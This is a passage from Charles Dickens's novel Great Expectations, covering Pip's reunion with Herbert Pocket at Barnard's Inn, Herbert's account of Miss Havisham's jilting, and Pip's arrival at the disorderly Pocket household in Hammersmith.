country. So it +does me." + +He led me into a corner and conducted me up a flight of stairs - +which appeared to me to be slowly collapsing into sawdust, so that +one of those days the upper lodgers would look out at their doors +and find themselves without the means of coming down - to a set of +chambers on the top floor. MR. POCKET, JUN., was painted on the +door, and there was a label on the letter-box, "Return shortly." + +"He hardly thought you'd come so soon," Mr. Wemmick explained. "You +don't want me any more?" + +"No, thank you," said I. + +"As I keep the cash," Mr. Wemmick observed, "we shall most likely +meet pretty often. Good day." + +"Good day." + +I put out my hand, and Mr. Wemmick at first looked at it as if he +thought I wanted something. Then he looked at me, and said, +correcting himself, + +"To be sure! Yes. You're in the habit of shaking hands?" + +I was rather confused, thinking it must be out of the London +fashion, but said yes. + +"I have got so out of it!" said Mr. Wemmick - "except at last. Very +glad, I'm sure, to make your acquaintance. Good day!" + +When we had shaken hands and he was gone, I opened the staircase +window and had nearly beheaded myself, for, the lines had rotted +away, and it came down like the guillotine. Happily it was so quick +that I had not put my head out. After this escape, I was content to +take a foggy view of the Inn through the window's encrusting dirt, +and to stand dolefully looking out, saying to myself that London +was decidedly overrated. + +Mr. Pocket, Junior's, idea of Shortly was not mine, for I had nearly +maddened myself with looking out for half an hour, and had written +my name with my finger several times in the dirt of every pane in +the window, before I heard footsteps on the stairs. Gradually there +arose before me the hat, head, neckcloth, waistcoat, trousers, +boots, of a member of society of about my own standing. He had a +paper-bag under each arm and a pottle of strawberries in one hand, +and was out of breath. + +"Mr. Pip?" said he. + +"Mr. Pocket?" said I. + +"Dear me!" he exclaimed. "I am extremely sorry; but I knew there +was a coach from your part of the country at midday, and I thought +you would come by that one. The fact is, I have been out on your +account - not that that is any excuse - for I thought, coming from +the country, you might like a little fruit after dinner, and I went +to Covent Garden Market to get it good." + +For a reason that I had, I felt as if my eyes would start out of my +head. I acknowledged his attention incoherently, and began to think +this was a dream. + +"Dear me!" said Mr. Pocket, Junior. "This door sticks so!" + +As he was fast making jam of his fruit by wrestling with the door +while the paper-bags were under his arms, I begged him to allow me +to hold them. He relinquished them with an agreeable smile, and +combated with the door as if it were a wild beast. It yielded so +suddenly at last, that he staggered back upon me, and I staggered +back upon the opposite door, and we both laughed. But still I felt +as if my eyes must start out of my head, and as if this must be a +dream. + +"Pray come in," said Mr. Pocket, Junior. "Allow me to lead the way. +I am rather bare here, but I hope you'll be able to make out +tolerably well till Monday. My father thought you would get on more +agreeably through to-morrow with me than with him, and might like +to take a walk about London. I am sure I shall be very happy to +show London to you. As to our table, you won't find that bad, I +hope, for it will be supplied from our coffee-house here, and (it +is only right I should add) at your expense, such being Mr. +Jaggers's directions. As to our lodging, it's not by any means +splendid, because I have my own bread to earn, and my father hasn't +anything to give me, and I shouldn't be willing to take it, if he +had. This is our sitting-room - just such chairs and tables and +carpet and so forth, you see, as they could spare from home. You +mustn't give me credit for the tablecloth and spoons and castors, +because they come for you from the coffee-house. This is my little +bedroom; rather musty, but Barnard's is musty. This is your +bed-room; the furniture's hired for the occasion, but I trust it +will answer the purpose; if you should want anything, I'll go and +fetch it. The chambers are retired, and we shall be alone together, +but we shan't fight, I dare say. But, dear me, I beg your pardon, +you're holding the fruit all this time. Pray let me take these bags +from you. I am quite ashamed." + +As I stood opposite to Mr. Pocket, Junior, delivering him the bags, +One, Two, I saw the starting appearance come into his own eyes that +I knew to be in mine, and he said, falling back: + +"Lord bless me, you're the prowling boy!" + +"And you," said I, "are the pale young gentleman!" + + +Chapter 22 + +The pale young gentleman and I stood contemplating one another in +Barnard's Inn, until we both burst out laughing. "The idea of its +being you!" said he. "The idea of its being you!" said I. And then +we contemplated one another afresh, and laughed again. "Well!" said +the pale young gentleman, reaching out his hand goodhumouredly, +"it's all over now, I hope, and it will be magnanimous in you if +you'll forgive me for having knocked you about so." + +I derived from this speech that Mr. Herbert Pocket (for Herbert was +the pale young gentleman's name) still rather confounded his +intention with his execution. But I made a modest reply, and we +shook hands warmly. + +"You hadn't come into your good fortune at that time?" said Herbert +Pocket. + +"No," said I. + +"No," he acquiesced: "I heard it had happened very lately. I was +rather on the look-out for good-fortune then." + +"Indeed?" + +"Yes. Miss Havisham had sent for me, to see if she could take a +fancy to me. But she couldn't - at all events, she didn't." + +I thought it polite to remark that I was surprised to hear that. + +"Bad taste," said Herbert, laughing, "but a fact. Yes, she had sent +for me on a trial visit, and if I had come out of it successfully, +I suppose I should have been provided for; perhaps I should have +been what-you-may-called it to Estella." + +"What's that?" I asked, with sudden gravity. + +He was arranging his fruit in plates while we talked, which divided +his attention, and was the cause of his having made this lapse of a +word. "Affianced," he explained, still busy with the fruit. +"Betrothed. Engaged. What's-his-named. Any word of that sort." + +"How did you bear your disappointment?" I asked. + +"Pooh!" said he, "I didn't care much for it. She's a Tartar." + +"Miss Havisham?" + +"I don't say no to that, but I meant Estella. That girl's hard and +haughty and capricious to the last degree, and has been brought up +by Miss Havisham to wreak revenge on all the male sex." + +"What relation is she to Miss Havisham?" + +"None," said he. "Only adopted." + +"Why should she wreak revenge on all the male sex? What revenge?" + +"Lord, Mr. Pip!" said he. "Don't you know?" + +"No," said I. + +"Dear me! It's quite a story, and shall be saved till dinner-time. +And now let me take the liberty of asking you a question. How did +you come there, that day?" + +I told him, and he was attentive until I had finished, and then +burst out laughing again, and asked me if I was sore afterwards? I +didn't ask him if he was, for my conviction on that point was +perfectly established. + +"Mr. Jaggers is your guardian, I understand?" he went on. + +"Yes." + +"You know he is Miss Havisham's man of business and solicitor, and +has her confidence when nobody else has?" + +This was bringing me (I felt) towards dangerous ground. I answered +with a constraint I made no attempt to disguise, that I had seen Mr. +Jaggers in Miss Havisham's house on the very day of our combat, but +never at any other time, and that I believed he had no recollection +of having ever seen me there. + +"He was so obliging as to suggest my father for your tutor, and he +called on my father to propose it. Of course he knew about my +father from his connexion with Miss Havisham. My father is Miss +Havisham's cousin; not that that implies familiar intercourse +between them, for he is a bad courtier and will not propitiate +her." + +Herbert Pocket had a frank and easy way with him that was very +taking. I had never seen any one then, and I have never seen any +one since, who more strongly expressed to me, in every look and +tone, a natural incapacity to do anything secret and mean. There +was something wonderfully hopeful about his general air, and +something that at the same time whispered to me he would never be +very successful or rich. I don't know how this was. I became imbued +with the notion on that first occasion before we sat down to +dinner, but I cannot define by what means. + +He was still a pale young gentleman, and had a certain conquered +languor about him in the midst of his spirits and briskness, that +did not seem indicative of natural strength. He had not a handsome +face, but it was better than handsome: being extremely amiable and +cheerful. His figure was a little ungainly, as in the days when my +knuckles had taken such liberties with it, but it looked as if it +would always be light and young. Whether Mr. Trabb's local work +would have sat more gracefully on him than on me, may be a +question; but I am conscious that he carried off his rather old +clothes, much better than I carried off my new suit. + +As he was so communicative, I felt that reserve on my part would be +a bad return unsuited to our years. I therefore told him my small +story, and laid stress on my being forbidden to inquire who my +benefactor was. I further mentioned that as I had been brought up a +blacksmith in a country place, and knew very little of the ways of +politeness, I would take it as a great kindness in him if he would +give me a hint whenever he saw me at a loss or going wrong. + +"With pleasure," said he, "though I venture to prophesy that you'll +want very few hints. I dare say we shall be often together, and I +should like to banish any needless restraint between us. Will you +do me the favour to begin at once to call me by my Christian name, +Herbert?" + +I thanked him, and said I would. I informed him in exchange that my +Christian name was Philip. + +"I don't take to Philip," said he, smiling, "for it sounds like a +moral boy out of the spelling-book, who was so lazy that he fell +into a pond, or so fat that he couldn't see out of his eyes, or so +avaricious that he locked up his cake till the mice ate it, or so +determined to go a bird's-nesting that he got himself eaten by +bears who lived handy in the neighbourhood. I tell you what I +should like. We are so harmonious, and you have been a blacksmith - +would you mind it?" + +"I shouldn't mind anything that you propose," I answered, "but I +don't understand you." + +"Would you mind Handel for a familiar name? There's a charming +piece of music by Handel, called the Harmonious Blacksmith." + +"I should like it very much." + +"Then, my dear Handel," said he, turning round as the door opened, +"here is the dinner, and I must beg of you to take the top of the +table, because the dinner is of your providing." + +This I would not hear of, so he took the top, and I faced him. It +was a nice little dinner - seemed to me then, a very Lord Mayor's +Feast - and it acquired additional relish from being eaten under +those independent circumstances, with no old people by, and with +London all around us. This again was heightened by a certain gipsy +character that set the banquet off; for, while the table was, as Mr. +Pumblechook might have said, the lap of luxury - being entirely +furnished forth from the coffee-house - the circumjacent region of +sitting-room was of a comparatively pastureless and shifty +character: imposing on the waiter the wandering habits of putting +the covers on the floor (where he fell over them), the melted +butter in the armchair, the bread on the bookshelves, the cheese in +the coalscuttle, and the boiled fowl into my bed in the next room - +where I found much of its parsley and butter in a state of +congelation when I retired for the night. All this made the feast +delightful, and when the waiter was not there to watch me, my +pleasure was without alloy. + +We had made some progress in the dinner, when I reminded Herbert of +his promise to tell me about Miss Havisham. + +"True," he replied. "I'll redeem it at once. Let me introduce the +topic, Handel, by mentioning that in London it is not the custom to +put the knife in the mouth - for fear of accidents - and that while +the fork is reserved for that use, it is not put further in than +necessary. It is scarcely worth mentioning, only it's as well to do +as other people do. Also, the spoon is not generally used +over-hand, but under. This has two advantages. You get at your +mouth better (which after all is the object), and you save a good +deal of the attitude of opening oysters, on the part of the right +elbow." + +He offered these friendly suggestions in such a lively way, that we +both laughed and I scarcely blushed. + +"Now," he pursued, "concerning Miss Havisham. Miss Havisham, you +must know, was a spoilt child. Her mother died when she was a baby, +and her father denied her nothing. Her father was a country +gentleman down in your part of the world, and was a brewer. I don't +know why it should be a crack thing to be a brewer; but it is +indisputable that while you cannot possibly be genteel and bake, +you may be as genteel as never was and brew. You see it every day." + +"Yet a gentleman may not keep a public-house; may he?" said I. + +"Not on any account," returned Herbert; "but a public-house may +keep a gentleman. Well! Mr. Havisham was very rich and very proud. +So was his daughter." + +"Miss Havisham was an only child?" I hazarded. + +"Stop a moment, I am coming to that. No, she was not an only child; +she had a half-brother. Her father privately married again - his +cook, I rather think." + +"I thought he was proud," said I. + +"My good Handel, so he was. He married his second wife privately, +because he was proud, and in course of time she died. When she was +dead, I apprehend he first told his daughter what he had done, and +then the son became a part of the family, residing in the house you +are acquainted with. As the son grew a young man, he turned out +riotous, extravagant, undutiful - altogether bad. At last his +father disinherited him; but he softened when he was dying, and +left him well off, though not nearly so well off as Miss Havisham. +- Take another glass of wine, and excuse my mentioning that society +as a body does not expect one to be so strictly conscientious in +emptying one's glass, as to turn it bottom upwards with the rim on +one's nose." + +I had been doing this, in an excess of attention to his recital. I +thanked him, and apologized. He said, "Not at all," and resumed. + +"Miss Havisham was now an heiress, and you may suppose was looked +after as a great match. Her half-brother had now ample means again, +but what with debts and what with new madness wasted them most +fearfully again. There were stronger differences between him and +her, than there had been between him and his father, and it is +suspected that he cherished a deep and mortal grudge against her, +as having influenced the father's anger. Now, I come to the cruel +part of the story - merely breaking off, my dear Handel, to remark +that a dinner-napkin will not go into a tumbler." + +Why I was trying to pack mine into my tumbler, I am wholly unable +to say. I only know that I found myself, with a perseverance worthy +of a much better cause, making the most strenuous exertions to +compress it within those limits. Again I thanked him and +apologized, and again he said in the cheerfullest manner, "Not at +all, I am sure!" and resumed. + +"There appeared upon the scene - say at the races, or the public +balls, or anywhere else you like - a certain man, who made love to +Miss Havisham. I never saw him, for this happened five-and-twenty +years ago (before you and I were, Handel), but I have heard my +father mention that he was a showy-man, and the kind of man for the +purpose. But that he was not to be, without ignorance or prejudice, +mistaken for a gentleman, my father most strongly asseverates; +because it is a principle of his that no man who was not a true +gentleman at heart, ever was, since the world began, a true +gentleman in manner. He says, no varnish can hide the grain of the +wood; and that the more varnish you put on, the more the grain will +express itself. Well! This man pursued Miss Havisham closely, and +professed to be devoted to her. I believe she had not shown much +susceptibility up to that time; but all the susceptibility she +possessed, certainly came out then, and she passionately loved him. +There is no doubt that she perfectly idolized him. He practised on +her affection in that systematic way, that he got great sums of +money from her, and he induced her to buy her brother out of a +share in the brewery (which had been weakly left him by his father) +at an immense price, on the plea that when he was her husband he +must hold and manage it all. Your guardian was not at that time in +Miss Havisham's councils, and she was too haughty and too much in +love, to be advised by any one. Her relations were poor and +scheming, with the exception of my father; he was poor enough, but +not time-serving or jealous. The only independent one among them, +he warned her that she was doing too much for this man, and was +placing herself too unreservedly in his power. She took the first +opportunity of angrily ordering my father out of the house, in his +presence, and my father has never seen her since." + +I thought of her having said, "Matthew will come and see me at last +when I am laid dead upon that table;" and I asked Herbert whether +his father was so inveterate against her? + +"It's not that," said he, "but she charged him, in the presence of +her intended husband, with being disappointed in the hope of +fawning upon her for his own advancement, and, if he were to go to +her now, it would look true - even to him - and even to her. To +return to the man and make an end of him. The marriage day was +fixed, the wedding dresses were bought, the wedding tour was +planned out, the wedding guests were invited. The day came, but not +the bridegroom. He wrote her a letter--" + +"Which she received," I struck in, "when she was dressing for her +marriage? At twenty minutes to nine?" + +"At the hour and minute," said Herbert, nodding, "at which she +afterwards stopped all the clocks. What was in it, further than +that it most heartlessly broke the marriage off, I can't tell you, +because I don't know. When she recovered from a bad illness that +she had, she laid the whole place waste, as you have seen it, and +she has never since looked upon the light of day." + +"Is that all the story?" I asked, after considering it. + +"All I know of it; and indeed I only know so much, through piecing +it out for myself; for my father always avoids it, and, even when +Miss Havisham invited me to go there, told me no more of it than it +was absolutely requisite I should understand. But I have forgotten +one thing. It has been supposed that the man to whom she gave her +misplaced confidence, acted throughout in concert with her +half-brother; that it was a conspiracy between them; and that they +shared the profits." + +"I wonder he didn't marry her and get all the property," said I. + +"He may have been married already, and her cruel mortification may +have been a part of her half-brother's scheme," said Herbert. + +"Mind! I don't know that." + +"What became of the two men?" I asked, after again considering the +subject. + +"They fell into deeper shame and degradation - if there can be +deeper - and ruin." + +"Are they alive now?" + +"I don't know." + +"You said just now, that Estella was not related to Miss Havisham, +but adopted. When adopted?" + +Herbert shrugged his shoulders. "There has always been an Estella, +since I have heard of a Miss Havisham. I know no more. And now, +Handel," said he, finally throwing off the story as it were, "there +is a perfectly open understanding between us. All that I know about +Miss Havisham, you know." + +"And all that I know," I retorted, "you know." + +"I fully believe it. So there can be no competition or perplexity +between you and me. And as to the condition on which you hold your +advancement in life - namely, that you are not to inquire or +discuss to whom you owe it - you may be very sure that it will +never be encroached upon, or even approached, by me, or by any one +belonging to me." + +In truth, he said this with so much delicacy, that I felt the +subject done with, even though I should be under his father's roof +for years and years to come. Yet he said it with so much meaning, +too, that I felt he as perfectly understood Miss Havisham to be my +benefactress, as I understood the fact myself. + +It had not occurred to me before, that he had led up to the theme +for the purpose of clearing it out of our way; but we were so much +the lighter and easier for having broached it, that I now perceived +this to be the case. We were very gay and sociable, and I asked +him, in the course of conversation, what he was? He replied, "A +capitalist - an Insurer of Ships." I suppose he saw me glancing +about the room in search of some tokens of Shipping, or capital, +for he added, "In the City." + +I had grand ideas of the wealth and importance of Insurers of Ships +in the City, and I began to think with awe, of having laid a young +Insurer on his back, blackened his enterprising eye, and cut his +responsible head open. But, again, there came upon me, for my +relief, that odd impression that Herbert Pocket would never be very +successful or rich. + +"I shall not rest satisfied with merely employing my capital in +insuring ships. I shall buy up some good Life Assurance shares, and +cut into the Direction. I shall also do a little in the mining way. +None of these things will interfere with my chartering a few +thousand tons on my own account. I think I shall trade," said he, +leaning back in his chair, "to the East Indies, for silks, shawls, +spices, dyes, drugs, and precious woods. It's an interesting +trade." + +"And the profits are large?" said I. + +"Tremendous!" said he. + +I wavered again, and began to think here were greater expectations +than my own. + +"I think I shall trade, also," said he, putting his thumbs in his +waistcoat pockets, "to the West Indies, for sugar, tobacco, and +rum. Also to Ceylon, specially for elephants' tusks." + +"You will want a good many ships," said I. + +"A perfect fleet," said he. + +Quite overpowered by the magnificence of these transactions, I +asked him where the ships he insured mostly traded to at present? + +"I haven't begun insuring yet," he replied. "I am looking about +me." + +Somehow, that pursuit seemed more in keeping with Barnard's Inn. I +said (in a tone of conviction), "Ah-h!" + +"Yes. I am in a counting-house, and looking about me." + +"Is a counting-house profitable?" I asked. + +"To - do you mean to the young fellow who's in it?" he asked, in +reply. + +"Yes; to you." + +"Why, n-no: not to me." He said this with the air of one carefully +reckoning up and striking a balance. "Not directly profitable. That +is, it doesn't pay me anything, and I have to - keep myself." + +This certainly had not a profitable appearance, and I shook my head +as if I would imply that it would be difficult to lay by much +accumulative capital from such a source of income. + +"But the thing is," said Herbert Pocket, "that you look about you. +That's the grand thing. You are in a counting-house, you know, and +you look about you." + +It struck me as a singular implication that you couldn't be out of +a counting-house, you know, and look about you; but I silently +deferred to his experience. + +"Then the time comes," said Herbert, "when you see your opening. +And you go in, and you swoop upon it and you make your capital, and +then there you are! When you have once made your capital, you have +nothing to do but employ it." + +This was very like his way of conducting that encounter in the +garden; very like. His manner of bearing his poverty, too, exactly +corresponded to his manner of bearing that defeat. It seemed to me +that he took all blows and buffets now, with just the same air as +he had taken mine then. It was evident that he had nothing around +him but the simplest necessaries, for everything that I remarked +upon turned out to have been sent in on my account from the +coffee-house or somewhere else. + +Yet, having already made his fortune in his own mind, he was so +unassuming with it that I felt quite grateful to him for not being +puffed up. It was a pleasant addition to his naturally pleasant +ways, and we got on famously. In the evening we went out for a walk +in the streets, and went half-price to the Theatre; and next day we +went to church at Westminster Abbey, and in the afternoon we walked +in the Parks; and I wondered who shod all the horses there, and +wished Joe did. + +On a moderate computation, it was many months, that Sunday, since I +had left Joe and Biddy. The space interposed between myself and +them, partook of that expansion, and our marshes were any distance +off. That I could have been at our old church in my old +church-going clothes, on the very last Sunday that ever was, seemed +a combination of impossibilities, geographical and social, solar +and lunar. Yet in the London streets, so crowded with people and so +brilliantly lighted in the dusk of evening, there were depressing +hints of reproaches for that I had put the poor old kitchen at home +so far away; and in the dead of night, the footsteps of some +incapable impostor of a porter mooning about Barnard's Inn, under +pretence of watching it, fell hollow on my heart. + +On the Monday morning at a quarter before nine, Herbert went to the +counting-house to report himself - to look about him, too, I +suppose - and I bore him company. He was to come away in an hour or +two to attend me to Hammersmith, and I was to wait about for him. +It appeared to me that the eggs from which young Insurers were +hatched, were incubated in dust and heat, like the eggs of +ostriches, judging from the places to which those incipient giants +repaired on a Monday morning. Nor did the counting-house where +Herbert assisted, show in my eyes as at all a good Observatory; +being a back second floor up a yard, of a grimy presence in all +particulars, and with a look into another back second floor, rather +than a look out. + +I waited about until it was noon, and I went upon 'Change, and I +saw fluey men sitting there under the bills about shipping, whom I +took to be great merchants, though I couldn't understand why they +should all be out of spirits. When Herbert came, we went and had +lunch at a celebrated house which I then quite venerated, but now +believe to have been the most abject superstition in Europe, and +where I could not help noticing, even then, that there was much +more gravy on the tablecloths and knives and waiters' clothes, than +in the steaks. This collation disposed of at a moderate price +(considering the grease: which was not charged for), we went back +to Barnard's Inn and got my little portmanteau, and then took coach +for Hammersmith. We arrived there at two or three o'clock in the +afternoon, and had very little way to walk to Mr. Pocket's house. +Lifting the latch of a gate, we passed direct into a little garden +overlooking the river, where Mr. Pocket's children were playing +about. And unless I deceive myself on a point where my interests or +prepossessions are certainly not concerned, I saw that Mr. and Mrs. +Pocket's children were not growing up or being brought up, but were +tumbling up. + +Mrs. Pocket was sitting on a garden chair under a tree, reading, +with her legs upon another garden chair; and Mrs. Pocket's two +nursemaids were looking about them while the children played. +"Mamma," said Herbert, "this is young Mr. Pip." Upon which Mrs. +Pocket received me with an appearance of amiable dignity. + +"Master Alick and Miss Jane," cried one of the nurses to two of the +children, "if you go a-bouncing up against them bushes you'll fall +over into the river and be drownded, and what'll your pa say then?" + +At the same time this nurse picked up Mrs. Pocket's handkerchief, +and said, "If that don't make six times you've dropped it, Mum!" +Upon which Mrs. Pocket laughed and said, "Thank you, Flopson," and +settling herself in one chair only, resumed her book. Her +countenance immediately assumed a knitted and intent expression as +if she had been reading for a week, but before she could have read +half a dozen lines, she fixed her eyes upon me, and said, "I hope +your mamma is quite well?" This unexpected inquiry put me into such +a difficulty that I began saying in the absurdest way that if there +had been any such person I had no doubt she would have been quite +well and would have been very much obliged and would have sent her +compliments, when the nurse came to my rescue. + +"Well!" she cried, picking up the pocket handkerchief, "if that +don't make seven times! What ARE you a-doing of this afternoon, +Mum!" Mrs. Pocket received her property, at first with a look of +unutterable surprise as if she had never seen it before, and then +with a laugh of recognition, and said, "Thank you, Flopson," and +forgot me, and went on reading. + +I found, now I had leisure to count them, that there were no fewer +than six little Pockets present, in various stages of tumbling up. +I had scarcely arrived at the total when a seventh was heard, as in +the region of air, wailing dolefully. + +"If there ain't Baby!" said Flopson, appearing to think it most +surprising. "Make haste up, Millers." + +Millers, who was the other nurse, retired into the house, and by +degrees the child's wailing was hushed and stopped, as if it were a +young ventriloquist with something in its mouth. Mrs. Pocket read +all the time, and I was curious to know what the book could be. + +We were waiting, I supposed, for Mr. Pocket to come out to us; at +any rate we waited there, and so I had an opportunity of observing +the remarkable family phenomenon that whenever any of the children +strayed near Mrs. Pocket in their play, they always tripped +themselves up and tumbled over her - always very much to her +momentary astonishment, and their own more enduring lamentation. I +was at a loss to account for this surprising circumstance, and +could not help giving my mind to speculations about it, until +by-and-by Millers came down with the baby, which baby was handed to +Flopson, which Flopson was handing it to Mrs. Pocket, when she too +went fairly head foremost over Mrs. Pocket, baby and all, and was +caught by Herbert and myself. + +"Gracious me, Flopson!" said Mrs. Pocket, looking off her book for a +moment, "everybody's tumbling!" + +"Gracious you, indeed, Mum!" returned Flopson, very red in the +face; "what have you got there?" + +"I got here, Flopson?" asked Mrs. Pocket. + +"Why, if it ain't your footstool!" cried Flopson. "And if you keep +it under your skirts like that, who's to help tumbling? Here! Take +the baby, Mum, and give me your book." + +Mrs. Pocket acted on the advice, and inexpertly danced the infant a +little in her lap, while the other children played about it. This +had lasted but a very short time, when Mrs. Pocket issued summary +orders that they were all to be taken into the house for a nap. +Thus I made the second discovery on that first occasion, that the +nurture of the little Pockets consisted of alternately tumbling up +and lying down. + +Under these circumstances, when Flopson and Millers had got the +children into the house, like a little flock of sheep, and Mr. +Pocket came out of it to make my acquaintance, I was not much +surprised to find that Mr. Pocket was a gentleman with a rather +perplexed expression of face, and with his very grey hair +disordered on his head, as if he didn't quite see his way to +putting anything straight. + + +Chapter 23 + +Mr. Pocket said he was glad to see me, and he hoped I was not sorry +to see him. "For, I really am not," he added, with his son's smile, +"an alarming personage." He was a young-looking man, in spite of +his perplexities and his very grey hair, and his manner seemed +quite natural. I use the word natural, in the sense of its being +unaffected; there was something comic in his distraught way, as +though it would have been downright ludicrous but for his own +perception that it was very near being so. When he had talked with +me a little, he said to Mrs. Pocket, with a rather anxious +contraction of his eyebrows, which were black and handsome, +"Belinda, I hope you have welcomed Mr. Pip?" And she looked up from +her book, and said, "Yes." She then smiled upon me in an absent +state of mind, and asked me if I liked the taste of orange-flower +water? As the question had no bearing, near or remote, on any +foregone or subsequent transaction, I consider it to have been +thrown out, like her previous approaches, in general conversational +condescension. + +I found out within a few hours, and may mention at once, that Mrs. +Pocket was the only daughter of a certain quite accidental deceased +Knight, who had invented for himself a conviction that his deceased +father would have been made a Baronet but for somebody's determined +opposition arising out of entirely personal motives - I forget +whose, if I ever knew - the Sovereign's, the Prime Minister's, the +Lord Chancellor's, the Archbishop of Canterbury's, anybody's - and +had tacked himself on to the nobles of the earth in right of this +quite supposititious fact. I believe he had been knighted himself +for storming the English grammar at the point of the pen, in a +desperate address engrossed on vellum, on the occasion of the +laying of the first stone of some building or other, and for +handing some Royal Personage either the trowel or the mortar. Be +that as it may, he had directed Mrs. Pocket to be brought up from +her cradle as one who in the nature of things must marry a title, +and who was to be guarded from the acquisition of plebeian domestic +knowledge. + +So successful a watch and ward had been established over the young +lady by this judicious parent, that she had grown up highly +ornamental, but perfectly helpless and useless. With her character +thus happily formed, in the first bloom of her youth she had +encountered Mr. Pocket: who was also in the first bloom of youth, +and not quite decided whether to mount to the Woolsack, or to roof +himself in with a mitre. As his doing the one or the other was a +mere question of time, he and Mrs. Pocket had taken Time by the +forelock (when, to judge from its length, it would seem to have +wanted cutting), and had married without the knowledge of the +judicious parent. The judicious parent, having nothing to bestow or +withhold but his blessing, had handsomely settled that dower upon +them after a short struggle, and had informed Mr. Pocket that his +wife was "a treasure for a Prince." Mr. Pocket had invested the +Prince's treasure in the ways of the world ever since, and it was +supposed to have brought him in but indifferent interest. Still, +Mrs. Pocket was in general the object of a queer sort of respectful +pity, because she had not married a title; while Mr. Pocket was the +object of a queer sort of forgiving reproach, because he had never +got one. + +Mr. Pocket took me into the house and showed me my room: which was a +pleasant one, and so furnished as that I could use it with comfort +for my own private sitting-room. He then knocked at the doors of +two other similar rooms, and introduced me to their occupants, by +name Drummle and Startop. Drummle, an old-looking young man of a +heavy order of architecture, was whistling. Startop, younger in +years and appearance, was reading and holding his head, as if he +thought himself in danger of exploding it with too strong a charge +of knowledge. + +Both Mr. and Mrs. Pocket had such a noticeable air of being in +somebody else's hands, that I wondered who really was in possession +of the house and let them live there, until I found this unknown +power to be the servants. It was a smooth way of going on, perhaps, +in respect of saving trouble; but it had the appearance of being +expensive, for the servants felt it a duty they owed to themselves +to be nice in their eating and drinking, and to keep a deal of +company down stairs. They allowed a very liberal table to Mr. and +Mrs. Pocket, yet it always appeared to me that by far the best part +of the house to have boarded in, would have been the kitchen - +always supposing the boarder capable of self-defence, for, before I +had been there a week, a neighbouring lady with whom the family +were personally unacquainted, wrote in to say that she had seen +Millers slapping the baby. This greatly distressed Mrs. Pocket, who +burst into tears on receiving the note, and said that it was an +extraordinary thing that the neighbours couldn't mind their own +business. + +By degrees I learnt, and chiefly from Herbert, that Mr. Pocket had +been educated at Harrow and at Cambridge, where he had +distinguished himself; but that when he had had the happiness of +marrying Mrs. Pocket very early in life, he had impaired his +prospects and taken up the calling of a Grinder. After grinding a +number of dull blades - of whom it was remarkable that their +fathers, when influential, were always going to help him to +preferment, but always forgot to do it when the blades had left the +Grindstone - he had wearied of that poor work and had come to +London. Here, after gradually failing in loftier hopes, he had +"read" with divers who had lacked opportunities or neglected them, +and had refurbished divers others for special occasions, and had +turned his acquirements to the account of literary compilation and +correction, and on such means, added to some very moderate private +resources, still maintained the house I saw. + +Mr. and Mrs. Pocket had a toady neighbour; a widow lady of that +highly sympathetic nature that she agreed with everybody, blessed +everybody, and shed smiles and tears on everybody, according to +circumstances. This lady's name was Mrs. Coiler, and I had the +honour of taking her down to dinner on the day of my installation. +She gave me to understand on the stairs, that it was a blow to dear +Mrs. Pocket that dear Mr. Pocket should be under the necessity of +receiving gentlemen to read with him. That did not extend to me, +she told me in a gush of love and confidence (at that time, I had +known her something less than five minutes); if they were all like +Me, it would be quite another thing. + +"But dear Mrs. Pocket," said Mrs. Coiler, "after her early +disappointment (not that dear Mr. Pocket was to blame in that), +requires so much luxury and elegance--" + +"Yes, ma'am," I said, to stop her, for I was afraid she was going +to cry. + +"And she is of so aristocratic a disposition--" + +"Yes, ma'am," I said again, with the same object as before. + +" - that it is hard," said Mrs. Coiler, "to have dear Mr. Pocket's +time and attention diverted from dear Mrs. Pocket." + +I could not help thinking that it might be harder if the butcher's +time and attention were diverted from dear Mrs. Pocket; but I said +nothing, and indeed had enough to do in keeping a bashful watch +upon my company-manners. + +It came to my knowledge, through what passed between Mrs. Pocket and +Drummle while I was attentive to my knife and fork, spoon, glasses, +and other instruments of self-destruction, that Drummle, whose +Christian name was Bentley, was actually the next heir but one to a +baronetcy. It further appeared that the book I had seen Mrs. Pocket +reading in the garden, was all about titles, and that she knew the +exact date at which her grandpapa would have come into the book, if +he ever had come at all. Drummle didn't say much, but in his +limited way (he struck me as a sulky kind of fellow) he spoke as +one of the elect, and recognized Mrs. Pocket as a woman and a +sister. No one but themselves and Mrs. Coiler the toady neighbour +showed any interest in this part of the conversation, and it +appeared to me that it was painful to Herbert; but it promised to +last a long time, when the page came in with the announcement of a +domestic affliction. It was, in effect, that the cook had mislaid +the beef. To my unutterable amazement, I now, for the first time, +saw Mr. Pocket relieve his mind by going through a performance that +struck me as very extraordinary, but which made no impression on +anybody else, and with which I soon became as familiar as the rest. +He laid down the carving-knife and fork - being engaged in carving, +at the moment - put his two hands into his disturbed hair, and +appeared to make an extraordinary effort to lift himself up by it. +When he had done this, and had not lifted himself up at all, he +quietly went on with what he was about. + +Mrs. Coiler then changed the subject, and began to flatter me. I +liked it for a few moments, but she flattered me so very grossly +that the pleasure was soon over. She had a serpentine way of coming +close at me when she pretended to be vitally interested in the +friends and localities I had left, which was altogether snaky and +fork-tongued; and when she made an occasional bounce upon Startop +(who said very little to her), or upon Drummle (who said less), I +rather envied them for being on the opposite side of the table. + +After dinner the children were introduced, and Mrs. Coiler made +admiring comments on their eyes, noses, and legs - a sagacious way +of improving their minds. There were four little girls, and two +little boys, besides the baby who might have been either, and the +baby's next successor who was as yet neither. They were brought in +by Flopson and Millers, much as though those two noncommissioned +officers had been recruiting somewhere for children and had +enlisted these: while Mrs. Pocket looked at the young Nobles that +ought to have been, as if she rather thought she had had the +pleasure of inspecting them before, but didn't quite know what to +make of them. + +"Here! Give me your fork, Mum, and take the baby," said Flopson. +"Don't take it that way, or you'll get its head under the table." + +Thus advised, Mrs. Pocket took it the other way, and got its head +upon the table; which was announced to all present by a prodigious +concussion. + +"Dear, dear! Give it me back, Mum," said Flopson; "and Miss Jane, +come and dance to baby, do!" + +One of the little girls, a mere mite who seemed to have prematurely +taken upon herself some charge of the others, stepped out of her +place by me, and danced to and from the baby until it left off +crying, and laughed. Then, all the children laughed, and Mr. Pocket +(who in the meantime had twice endeavoured to lift himself up by +the hair) laughed, and we all laughed and were glad. + +Flopson, by dint of doubling the baby at the joints like a Dutch +doll, then got it safely into Mrs. Pocket's lap, and gave it the +nutcrackers to play with: at the same time recommending Mrs. Pocket +to take notice that the handles of that instrument were not likely +to agree with its eyes, and sharply charging Miss Jane to look +after the same. Then, the two nurses left the room, and had a +lively scuffle on the staircase with a dissipated page who had +waited at dinner, and who had clearly lost half his buttons at the +gamingtable. + +I was made very uneasy in my mind by Mrs. Pocket's falling into a +discussion with Drummle respecting two baronetcies, while she ate a +sliced 